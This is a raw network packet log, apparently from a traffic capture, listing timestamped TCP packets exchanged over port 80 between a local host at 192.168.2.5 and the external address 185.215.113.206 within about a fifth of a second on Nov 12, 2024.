Nov 12, 2024 04:16:09.238230944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238238096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238241911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238250971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238259077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238272905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238276005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238293886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238301992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238322973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238358974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238373041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238384008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238401890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238406897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238414049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238420010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238420010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238447905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238487959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238497972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238523006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238540888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238543034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238579035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238579988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238596916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238607883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238614082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238624096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238632917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238643885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238645077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238653898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238667965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238681078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238698006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238707066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238708019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238730907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238734961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238749981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238766909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238784075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238795996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238821983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238831997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238840103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238850117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238861084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238872051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238882065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238887072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238898039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238898039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238930941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238931894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238939047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238943100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.238957882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.238977909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239090919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239125013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239129066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239135981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239157915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239177942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239185095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239201069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239212036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239219904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239223957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239234924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239248037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239255905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239259958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239281893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239304066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239322901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239334106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239345074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239356995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239376068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239407063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239423990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239437103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239443064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239447117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239459991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239465952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239484072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239504099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239568949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239579916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239588976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239599943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239603996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239617109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239618063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239628077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239629030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239639044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239650011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239654064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239661932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239687920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239708900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239736080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239744902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239754915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239767075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239778042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239778042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239787102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239789009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239814997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239841938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239852905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239865065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.239870071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239871025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239892006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.239912033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388463974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388477087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388497114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388506889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388519049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388530016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388555050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388573885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388593912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388606071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388616085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388633966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388647079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388653040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388659954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388669968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388684034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388703108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.388953924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388964891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.388974905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389117956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389238119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389247894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389257908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389269114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389291048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389312983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389314890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389333010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389344931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389353991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389370918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389385939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389646053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389657021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389667988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389678001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389688969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389689922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389715910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389729977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389758110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389770031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389780998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389801979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389825106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389839888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389852047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389864922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389880896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389904022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.389950037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389961004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389971972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389982939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389995098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.389995098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390005112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390017033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390017033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390042067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390054941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390072107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390084028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390101910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390109062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390113115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390122890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390124083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390140057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390142918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390151978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390170097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390197039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390218973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390234947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390245914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390256882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390256882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390268087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390279055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390309095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390333891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390347004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390364885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390376091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390377045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390386105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390403986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390428066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390516043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390527010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390542984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390564919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390572071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390580893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390597105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390605927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390625000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390640020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390644073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390654087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390681028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390691042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390691996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390702963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390719891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390719891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390729904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390743017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390768051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390795946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390836954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390856981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390866995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390876055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390888929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390898943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.390902996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390919924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390944958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.390997887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391037941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391041994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391047955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391066074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391076088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391078949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391098022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391108036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391109943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391117096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391149998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391158104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391174078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391182899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391197920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391211987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391226053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391236067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391252995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391268969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391282082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391442060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391458035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391469002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391485929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391495943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391515017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391525984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391555071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391580105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391592026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391623020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391630888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391642094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391650915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391674995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391689062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391834974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391860008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391879082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391889095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391905069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391916990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391946077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.391947985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391957045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.391983986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392004967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392074108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392085075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392093897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392103910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392115116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392117977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392123938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392134905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392142057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392160892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392174959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392220020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392230988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392240047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392258883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392263889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392271042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392281055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392283916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392292976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392307043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392321110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392329931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392343044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392353058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392363071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392364979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392388105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392388105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392410040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392431021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392441988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392453909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392462969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392487049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392507076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392513037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392523050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392532110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392553091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392555952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392565966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392577887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392596006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:09.392607927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:09.392618895 CET	80	49704	185.215.113.206	192.168.2.5
